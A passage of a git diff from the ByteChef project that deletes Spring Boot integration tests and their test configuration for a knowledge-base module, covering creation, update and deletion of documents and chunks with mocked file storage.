-        "com.bytechef.platform.tag"
-    },
-    excludeFilters = @Filter(type = FilterType.ASSIGNABLE_TYPE, classes = KnowledgeBasePgVectorConfiguration.class))
-@EnableAutoConfiguration(excludeName = {
-    "org.springframework.ai.model.openai.autoconfigure.OpenAiAudioSpeechAutoConfiguration",
-    "org.springframework.ai.model.openai.autoconfigure.OpenAiAudioTranscriptionAutoConfiguration",
-    "org.springframework.ai.model.openai.autoconfigure.OpenAiChatAutoConfiguration",
-    "org.springframework.ai.model.openai.autoconfigure.OpenAiEmbeddingAutoConfiguration",
-    "org.springframework.ai.model.openai.autoconfigure.OpenAiImageAutoConfiguration",
-    "org.springframework.ai.model.openai.autoconfigure.OpenAiModerationAutoConfiguration",
-    "org.springframework.ai.vectorstore.pgvector.autoconfigure.PgVectorStoreAutoConfiguration"
-})
-@Import(LiquibaseConfiguration.class)
-@Configuration
-public class KnowledgeBaseIntTestConfiguration {
-
-    @Bean
-    EmbeddingModel embeddingModel() {
-        return mock(EmbeddingModel.class);
-    }
-
-    @Bean
-    VectorStore knowledgeBasePgVectorStore() {
-        return mock(VectorStore.class);
-    }
-
-    @Bean
-    FileStorageService fileStorageService() {
-        return mock(FileStorageService.class);
-    }
-
-    @Bean
-    KnowledgeBaseFileStorage knowledgeBaseFileStorage() {
-        return mock(KnowledgeBaseFileStorage.class);
-    }
-
-    @Bean
-    FileStorageServiceRegistry fileStorageServiceRegistry(FileStorageService fileStorageService) {
-        FileStorageServiceRegistry registry = mock(FileStorageServiceRegistry.class);
-
-        when(registry.getFileStorageService(anyString())).thenReturn(fileStorageService);
-
-        return registry;
-    }
-
-    @Bean
-    MessageBroker messageBroker() {
-        return mock(MessageBroker.class);
-    }
-
-    @Bean
-    com.fasterxml.jackson.databind.ObjectMapper jacksonObjectMapper() {
-        return new com.fasterxml.jackson.databind.ObjectMapper();
-    }
-
-    @EnableJdbcAuditing(auditorAwareRef = "auditorProvider", dateTimeProviderRef = "auditingDateTimeProvider")
-    public static class KnowledgeBaseIntTestJdbcConfiguration extends AbstractIntTestJdbcConfiguration {
-
-        private final ObjectMapper objectMapper;
-
-        @SuppressFBWarnings("EI2")
-        public KnowledgeBaseIntTestJdbcConfiguration(ObjectMapper objectMapper) {
-            this.objectMapper = objectMapper;
-        }
-
-        @Override
-        protected List<?> userConverters() {
-            return Arrays.asList(
-                new FileEntryToStringConverter(objectMapper),
-                new StringToFileEntryConverter(objectMapper));
-        }
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/config/KnowledgeBaseIntTestConfigurationSharedMocks.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/config/KnowledgeBaseIntTestConfigurationSharedMocks.java
deleted file mode 100644
index 4c8c2a3bcae..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/config/KnowledgeBaseIntTestConfigurationSharedMocks.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.config;
-
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorage;
-import com.bytechef.file.storage.FileStorageServiceRegistry;
-import com.bytechef.file.storage.service.FileStorageService;
-import com.bytechef.message.broker.MessageBroker;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import org.springframework.ai.embedding.EmbeddingModel;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.test.context.bean.override.mockito.MockitoBean;
-
-/**
- * Shared mocks annotation for KnowledgeBase integration tests.
- *
- * @author Ivica Cardic
- */
-@Target(ElementType.TYPE)
-@Retention(RetentionPolicy.RUNTIME)
-@MockitoBean(types = {
-    EmbeddingModel.class, FileStorageService.class, FileStorageServiceRegistry.class,
-    KnowledgeBaseFileStorage.class, MessageBroker.class, VectorStore.class
-})
-public @interface KnowledgeBaseIntTestConfigurationSharedMocks {
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentChunkFacadeIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentChunkFacadeIntTest.java
deleted file mode 100644
index fef7e8f6e24..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentChunkFacadeIntTest.java
+++ /dev/null
@@ -1,257 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfiguration;
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfigurationSharedMocks;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorage;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentChunkRepository;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentRepository;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseRepository;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
-import java.util.List;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.context.annotation.Import;
-
-/**
- * Integration tests for {@link KnowledgeBaseDocumentChunkFacade}.
- *
- * @author Ivica Cardic
- */
-@SpringBootTest(classes = KnowledgeBaseIntTestConfiguration.class)
-@Import(PostgreSQLContainerConfiguration.class)
-@KnowledgeBaseIntTestConfigurationSharedMocks
-class KnowledgeBaseDocumentChunkFacadeIntTest {
-
-    @Autowired
-    private KnowledgeBaseDocumentChunkFacade knowledgeBaseDocumentChunkFacade;
-
-    @Autowired
-    private KnowledgeBaseDocumentChunkRepository knowledgeBaseDocumentChunkRepository;
-
-    @Autowired
-    private KnowledgeBaseDocumentRepository knowledgeBaseDocumentRepository;
-
-    @Autowired
-    private KnowledgeBaseFileStorage knowledgeBaseFileStorage;
-
-    @Autowired
-    private KnowledgeBaseRepository knowledgeBaseRepository;
-
-    private KnowledgeBase knowledgeBase;
-    private KnowledgeBaseDocument document;
-
-    @BeforeEach
-    public void beforeEach() {
-        knowledgeBaseDocumentChunkRepository.deleteAll();
-        knowledgeBaseDocumentRepository.deleteAll();
-        knowledgeBaseRepository.deleteAll();
-
-        knowledgeBase = new KnowledgeBase();
-
-        knowledgeBase.setName("Test KnowledgeBase");
-
-        knowledgeBase = knowledgeBaseRepository.save(knowledgeBase);
-
-        document = new KnowledgeBaseDocument();
-
-        document.setKnowledgeBaseId(knowledgeBase.getId());
-        document.setName("Test Document");
-        document.setDocument(new FileEntry("test.txt", "file://test/test.txt"));
-        document.setStatus(KnowledgeBaseDocument.STATUS_READY);
-
-        document = knowledgeBaseDocumentRepository.save(document);
-    }
-
-    @AfterEach
-    public void afterEach() {
-        knowledgeBaseDocumentChunkRepository.deleteAll();
-        knowledgeBaseDocumentRepository.deleteAll();
-        knowledgeBaseRepository.deleteAll();
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentChunksByDocumentId() {
-        KnowledgeBaseDocumentChunk chunk1 = createChunkWithContent("vector-1");
-        KnowledgeBaseDocumentChunk chunk2 = createChunkWithContent("vector-2");
-
-        knowledgeBaseDocumentChunkRepository.save(chunk1);
-        knowledgeBaseDocumentChunkRepository.save(chunk2);
-
-        when(knowledgeBaseFileStorage.readChunkContent(chunk1.getContent())).thenReturn("Chunk 1 content");
-        when(knowledgeBaseFileStorage.readChunkContent(chunk2.getContent())).thenReturn("Chunk 2 content");
-
-        List<KnowledgeBaseDocumentChunk> chunks =
-            knowledgeBaseDocumentChunkFacade.getKnowledgeBaseDocumentChunksByDocumentId(document.getId());
-
-        assertThat(chunks).hasSize(2);
-        assertThat(chunks).allMatch(chunk -> chunk.getTextContent() != null);
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentChunksByDocumentIdWithNullContent() {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setKnowledgeBaseDocumentId(document.getId());
-        chunk.setVectorStoreId("vector-store-id");
-
-        knowledgeBaseDocumentChunkRepository.save(chunk);
-
-        List<KnowledgeBaseDocumentChunk> chunks =
-            knowledgeBaseDocumentChunkFacade.getKnowledgeBaseDocumentChunksByDocumentId(document.getId());
-
-        assertThat(chunks).hasSize(1);
-        assertThat(chunks.getFirst()
-            .getTextContent()).isNull();
-    }
-
-    @Test
-    void testUpdateKnowledgeBaseDocumentChunk() {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setKnowledgeBaseDocumentId(document.getId());
-        chunk.setVectorStoreId("test-vector-store-id");
-
-        FileEntry oldContentFileEntry = new FileEntry("old-content.txt", "file://test/chunks/old-content.txt");
-
-        chunk.setContent(oldContentFileEntry);
-
-        chunk = knowledgeBaseDocumentChunkRepository.save(chunk);
-
-        String newContent = "Updated content";
-        FileEntry newContentFileEntry = new FileEntry("new-content.txt", "file://test/chunks/new-content.txt");
-
-        when(knowledgeBaseFileStorage.storeChunkContent(anyLong(), eq(newContent))).thenReturn(newContentFileEntry);
-
-        KnowledgeBaseDocumentChunk updatedChunk =
-            knowledgeBaseDocumentChunkFacade.updateKnowledgeBaseDocumentChunk(chunk.getId(), newContent);
-
-        assertThat(updatedChunk.getTextContent()).isEqualTo(newContent);
-        assertThat(updatedChunk.getContent()).isEqualTo(newContentFileEntry);
-
-        verify(knowledgeBaseFileStorage).deleteChunkContent(oldContentFileEntry);
-        verify(knowledgeBaseFileStorage).storeChunkContent(chunk.getId(), newContent);
-    }
-
-    @Test
-    void testUpdateKnowledgeBaseDocumentChunkWithoutExistingContent() {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setKnowledgeBaseDocumentId(document.getId());
-        chunk.setVectorStoreId("test-vector-store-id");
-
-        chunk = knowledgeBaseDocumentChunkRepository.save(chunk);
-
-        String newContent = "New content";
-        FileEntry newContentFileEntry = new FileEntry("new-content.txt", "file://test/chunks/new-content.txt");
-
-        when(knowledgeBaseFileStorage.storeChunkContent(anyLong(), eq(newContent))).thenReturn(newContentFileEntry);
-
-        KnowledgeBaseDocumentChunk updatedChunk =
-            knowledgeBaseDocumentChunkFacade.updateKnowledgeBaseDocumentChunk(chunk.getId(), newContent);
-
-        assertThat(updatedChunk.getTextContent()).isEqualTo(newContent);
-        assertThat(updatedChunk.getContent()).isEqualTo(newContentFileEntry);
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocumentChunk() {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setKnowledgeBaseDocumentId(document.getId());
-        chunk.setVectorStoreId("test-vector-store-id");
-
-        FileEntry contentFileEntry = new FileEntry("content.txt", "file://test/chunks/content.txt");
-
-        chunk.setContent(contentFileEntry);
-
-        chunk = knowledgeBaseDocumentChunkRepository.save(chunk);
-
-        Long chunkId = chunk.getId();
-
-        assertThat(knowledgeBaseDocumentChunkRepository.findById(chunkId)).isPresent();
-
-        knowledgeBaseDocumentChunkFacade.deleteKnowledgeBaseDocumentChunk(chunkId);
-
-        assertThat(knowledgeBaseDocumentChunkRepository.findById(chunkId)).isNotPresent();
-
-        verify(knowledgeBaseFileStorage).deleteChunkContent(contentFileEntry);
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocumentChunkWithoutContent() {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setKnowledgeBaseDocumentId(document.getId());
-        chunk.setVectorStoreId("test-vector-store-id");
-
-        chunk = knowledgeBaseDocumentChunkRepository.save(chunk);
-
-        Long chunkId = chunk.getId();
-
-        assertThat(knowledgeBaseDocumentChunkRepository.findById(chunkId)).isPresent();
-
-        knowledgeBaseDocumentChunkFacade.deleteKnowledgeBaseDocumentChunk(chunkId);
-
-        assertThat(knowledgeBaseDocumentChunkRepository.findById(chunkId)).isNotPresent();
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocumentChunkWithoutVectorStoreId() {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setKnowledgeBaseDocumentId(document.getId());
-
-        FileEntry contentFileEntry = new FileEntry("content.txt", "file://test/chunks/content.txt");
-
-        chunk.setContent(contentFileEntry);
-
-        chunk = knowledgeBaseDocumentChunkRepository.save(chunk);
-
-        Long chunkId = chunk.getId();
-
-        knowledgeBaseDocumentChunkFacade.deleteKnowledgeBaseDocumentChunk(chunkId);
-
-        assertThat(knowledgeBaseDocumentChunkRepository.findById(chunkId)).isNotPresent();
-
-        verify(knowledgeBaseFileStorage).deleteChunkContent(contentFileEntry);
-    }
-
-    private KnowledgeBaseDocumentChunk createChunkWithContent(String vectorStoreId) {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setKnowledgeBaseDocumentId(document.getId());
-        chunk.setVectorStoreId(vectorStoreId);
-        chunk.setContent(new FileEntry(vectorStoreId + ".txt", "file://test/chunks/" + vectorStoreId + ".txt"));
-
-        return chunk;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentFacadeIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentFacadeIntTest.java
deleted file mode 100644
index f733afc10ec..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseDocumentFacadeIntTest.java
+++ /dev/null
@@ -1,248 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfiguration;
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfigurationSharedMocks;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorage;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentChunkRepository;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentRepository;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseRepository;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
-import java.io.ByteArrayInputStream;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-import java.util.List;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.context.annotation.Import;
-
-/**
- * Integration tests for {@link KnowledgeBaseDocumentFacade}.
- *
- * @author Ivica Cardic
- */
-@SpringBootTest(classes = KnowledgeBaseIntTestConfiguration.class)
-@Import(PostgreSQLContainerConfiguration.class)
-@KnowledgeBaseIntTestConfigurationSharedMocks
-class KnowledgeBaseDocumentFacadeIntTest {
-
-    @Autowired
-    private KnowledgeBaseDocumentFacade knowledgeBaseDocumentFacade;
-
-    @Autowired
-    private KnowledgeBaseDocumentChunkRepository knowledgeBaseDocumentChunkRepository;
-
-    @Autowired
-    private KnowledgeBaseDocumentRepository knowledgeBaseDocumentRepository;
-
-    @Autowired
-    private KnowledgeBaseFileStorage knowledgeBaseFileStorage;
-
-    @Autowired
-    private KnowledgeBaseRepository knowledgeBaseRepository;
-
-    private KnowledgeBase knowledgeBase;
-
-    @BeforeEach
-    public void beforeEach() {
-        knowledgeBaseDocumentChunkRepository.deleteAll();
-        knowledgeBaseDocumentRepository.deleteAll();
-        knowledgeBaseRepository.deleteAll();
-
-        knowledgeBase = new KnowledgeBase();
-
-        knowledgeBase.setName("Test KnowledgeBase");
-
-        knowledgeBase = knowledgeBaseRepository.save(knowledgeBase);
-    }
-
-    @AfterEach
-    public void afterEach() {
-        knowledgeBaseDocumentChunkRepository.deleteAll();
-        knowledgeBaseDocumentRepository.deleteAll();
-        knowledgeBaseRepository.deleteAll();
-    }
-
-    @Test
-    void testCreateKnowledgeBaseDocument() {
-        String filename = "test-document.txt";
-        String contentType = "text/plain";
-        String content = "Test document content";
-        InputStream inputStream = new ByteArrayInputStream(content.getBytes(StandardCharsets.UTF_8));
-
-        FileEntry mockFileEntry = new FileEntry(filename, "file://test/" + filename);
-
-        when(knowledgeBaseFileStorage.storeDocument(eq(filename), any(InputStream.class))).thenReturn(mockFileEntry);
-
-        KnowledgeBaseDocument document = knowledgeBaseDocumentFacade.createKnowledgeBaseDocument(
-            knowledgeBase.getId(), filename, contentType, inputStream);
-
-        assertThat(document).isNotNull();
-        assertThat(document.getId()).isNotNull();
-        assertThat(document.getName()).isEqualTo(filename);
-        assertThat(document.getKnowledgeBaseId()).isEqualTo(knowledgeBase.getId());
-        assertThat(document.getStatus()).isEqualTo(KnowledgeBaseDocument.STATUS_UPLOADED);
-        assertThat(document.getDocument()).isEqualTo(mockFileEntry);
-
-        verify(knowledgeBaseFileStorage).storeDocument(eq(filename), any(InputStream.class));
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocument() {
-        KnowledgeBaseDocument document = new KnowledgeBaseDocument();
-
-        document.setKnowledgeBaseId(knowledgeBase.getId());
-        document.setName("Test Document");
-
-        FileEntry documentFileEntry = new FileEntry("test.txt", "file://test/test.txt");
-
-        document.setDocument(documentFileEntry);
-        document.setStatus(KnowledgeBaseDocument.STATUS_READY);
-
-        document = knowledgeBaseDocumentRepository.save(document);
-
-        KnowledgeBaseDocumentChunk chunk1 = new KnowledgeBaseDocumentChunk();
-
-        chunk1.setKnowledgeBaseDocumentId(document.getId());
-        chunk1.setVectorStoreId("vector-store-id-1");
-
-        FileEntry chunkFileEntry1 = new FileEntry("chunk1.txt", "file://test/chunks/chunk1.txt");
-
-        chunk1.setContent(chunkFileEntry1);
-
-        knowledgeBaseDocumentChunkRepository.save(chunk1);
-
-        KnowledgeBaseDocumentChunk chunk2 = new KnowledgeBaseDocumentChunk();
-
-        chunk2.setKnowledgeBaseDocumentId(document.getId());
-        chunk2.setVectorStoreId("vector-store-id-2");
-
-        FileEntry chunkFileEntry2 = new FileEntry("chunk2.txt", "file://test/chunks/chunk2.txt");
-
-        chunk2.setContent(chunkFileEntry2);
-
-        knowledgeBaseDocumentChunkRepository.save(chunk2);
-
-        Long documentId = document.getId();
-
-        assertThat(knowledgeBaseDocumentRepository.findById(documentId)).isPresent();
-        assertThat(knowledgeBaseDocumentChunkRepository.findAllByKnowledgeBaseDocumentId(documentId)).hasSize(2);
-
-        knowledgeBaseDocumentFacade.deleteKnowledgeBaseDocument(documentId);
-
-        assertThat(knowledgeBaseDocumentRepository.findById(documentId)).isNotPresent();
-        assertThat(knowledgeBaseDocumentChunkRepository.findAllByKnowledgeBaseDocumentId(documentId)).isEmpty();
-
-        verify(knowledgeBaseFileStorage).deleteDocument(documentFileEntry);
-        verify(knowledgeBaseFileStorage).deleteChunkContent(chunkFileEntry1);
-        verify(knowledgeBaseFileStorage).deleteChunkContent(chunkFileEntry2);
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocumentWithoutChunks() {
-        KnowledgeBaseDocument document = new KnowledgeBaseDocument();
-
-        document.setKnowledgeBaseId(knowledgeBase.getId());
-        document.setName("Test Document");
-
-        FileEntry documentFileEntry = new FileEntry("test.txt", "file://test/test.txt");
-
-        document.setDocument(documentFileEntry);
-        document.setStatus(KnowledgeBaseDocument.STATUS_UPLOADED);
-
-        document = knowledgeBaseDocumentRepository.save(document);
-
-        Long documentId = document.getId();
-
-        assertThat(knowledgeBaseDocumentRepository.findById(documentId)).isPresent();
-
-        knowledgeBaseDocumentFacade.deleteKnowledgeBaseDocument(documentId);
-
-        assertThat(knowledgeBaseDocumentRepository.findById(documentId)).isNotPresent();
-
-        verify(knowledgeBaseFileStorage).deleteDocument(documentFileEntry);
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocumentWithChunksWithoutContent() {
-        KnowledgeBaseDocument document = new KnowledgeBaseDocument();
-
-        document.setKnowledgeBaseId(knowledgeBase.getId());
-        document.setName("Test Document");
-
-        FileEntry documentFileEntry = new FileEntry("test.txt", "file://test/test.txt");
-
-        document.setDocument(documentFileEntry);
-        document.setStatus(KnowledgeBaseDocument.STATUS_PROCESSING);
-
-        document = knowledgeBaseDocumentRepository.save(document);
-
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setKnowledgeBaseDocumentId(document.getId());
-        chunk.setVectorStoreId("vector-store-id-1");
-
-        knowledgeBaseDocumentChunkRepository.save(chunk);
-
-        Long documentId = document.getId();
-
-        knowledgeBaseDocumentFacade.deleteKnowledgeBaseDocument(documentId);
-
-        assertThat(knowledgeBaseDocumentRepository.findById(documentId)).isNotPresent();
-        assertThat(knowledgeBaseDocumentChunkRepository.findAllByKnowledgeBaseDocumentId(documentId)).isEmpty();
-    }
-
-    @Test
-    void testCreateMultipleDocumentsForSameKnowledgeBase() {
-        FileEntry mockFileEntry1 = new FileEntry("doc1.txt", "file://test/doc1.txt");
-        FileEntry mockFileEntry2 = new FileEntry("doc2.txt", "file://test/doc2.txt");
-
-        when(knowledgeBaseFileStorage.storeDocument(eq("doc1.txt"), any(InputStream.class))).thenReturn(mockFileEntry1);
-        when(knowledgeBaseFileStorage.storeDocument(eq("doc2.txt"), any(InputStream.class))).thenReturn(mockFileEntry2);
-
-        KnowledgeBaseDocument document1 = knowledgeBaseDocumentFacade.createKnowledgeBaseDocument(
-            knowledgeBase.getId(), "doc1.txt", "text/plain",
-            new ByteArrayInputStream("Content 1".getBytes(StandardCharsets.UTF_8)));
-
-        KnowledgeBaseDocument document2 = knowledgeBaseDocumentFacade.createKnowledgeBaseDocument(
-            knowledgeBase.getId(), "doc2.txt", "text/plain",
-            new ByteArrayInputStream("Content 2".getBytes(StandardCharsets.UTF_8)));
-
-        assertThat(document1.getId()).isNotEqualTo(document2.getId());
-        assertThat(document1.getKnowledgeBaseId()).isEqualTo(knowledgeBase.getId());
-        assertThat(document2.getKnowledgeBaseId()).isEqualTo(knowledgeBase.getId());
-
-        List<KnowledgeBaseDocument> documents =
-            knowledgeBaseDocumentRepository.findAllByKnowledgeBaseId(knowledgeBase.getId());
-
-        assertThat(documents).hasSize(2);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseFacadeIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseFacadeIntTest.java
deleted file mode 100644
index 5790136ad95..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/facade/KnowledgeBaseFacadeIntTest.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.facade;
-
-import static org.assertj.core.api.Assertions.assertThat;
-
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfiguration;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentChunkRepository;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentRepository;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseRepository;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.context.annotation.Import;
-
-@SpringBootTest(classes = KnowledgeBaseIntTestConfiguration.class)
-@Import(PostgreSQLContainerConfiguration.class)
-class KnowledgeBaseFacadeIntTest {
-
-    @Autowired
-    private KnowledgeBaseDocumentChunkFacade knowledgeBaseDocumentChunkFacade;
-
-    @Autowired
-    private KnowledgeBaseRepository knowledgeBaseRepository;
-
-    @Autowired
-    private KnowledgeBaseDocumentRepository knowledgeBaseDocumentRepository;
-
-    @Autowired
-    private KnowledgeBaseDocumentChunkRepository knowledgeBaseDocumentChunkRepository;
-
-    private KnowledgeBase knowledgeBase;
-    private KnowledgeBaseDocument document;
-
-    @BeforeEach
-    public void beforeEach() {
-        knowledgeBaseDocumentChunkRepository.deleteAll();
-        knowledgeBaseDocumentRepository.deleteAll();
-        knowledgeBaseRepository.deleteAll();
-
-        knowledgeBase = new KnowledgeBase();
-
-        knowledgeBase.setName("Test KnowledgeBase");
-
-        knowledgeBase = knowledgeBaseRepository.save(knowledgeBase);
-
-        document = new KnowledgeBaseDocument();
-
-        document.setKnowledgeBaseId(knowledgeBase.getId());
-        document.setName("Test Document");
-        document.setDocument(new FileEntry("test.txt", "file://test/test.txt"));
-        document.setStatus(KnowledgeBaseDocument.STATUS_READY);
-
-        document = knowledgeBaseDocumentRepository.save(document);
-    }
-
-    @AfterEach
-    public void afterEach() {
-        knowledgeBaseDocumentChunkRepository.deleteAll();
-        knowledgeBaseDocumentRepository.deleteAll();
-        knowledgeBaseRepository.deleteAll();
-    }
-
-    @Test
-    void testUpdateKnowledgeBaseDocumentChunk() {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setKnowledgeBaseDocumentId(document.getId());
-        chunk.setVectorStoreId("test-vector-store-id");
-
-        chunk = knowledgeBaseDocumentChunkRepository.save(chunk);
-
-        KnowledgeBaseDocumentChunk updatedChunk =
-            knowledgeBaseDocumentChunkFacade.updateKnowledgeBaseDocumentChunk(chunk.getId(), "Updated content");
-
-        assertThat(updatedChunk.getTextContent()).isEqualTo("Updated content");
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentChunkServiceIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentChunkServiceIntTest.java
deleted file mode 100644
index b20d4b66bc3..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentChunkServiceIntTest.java
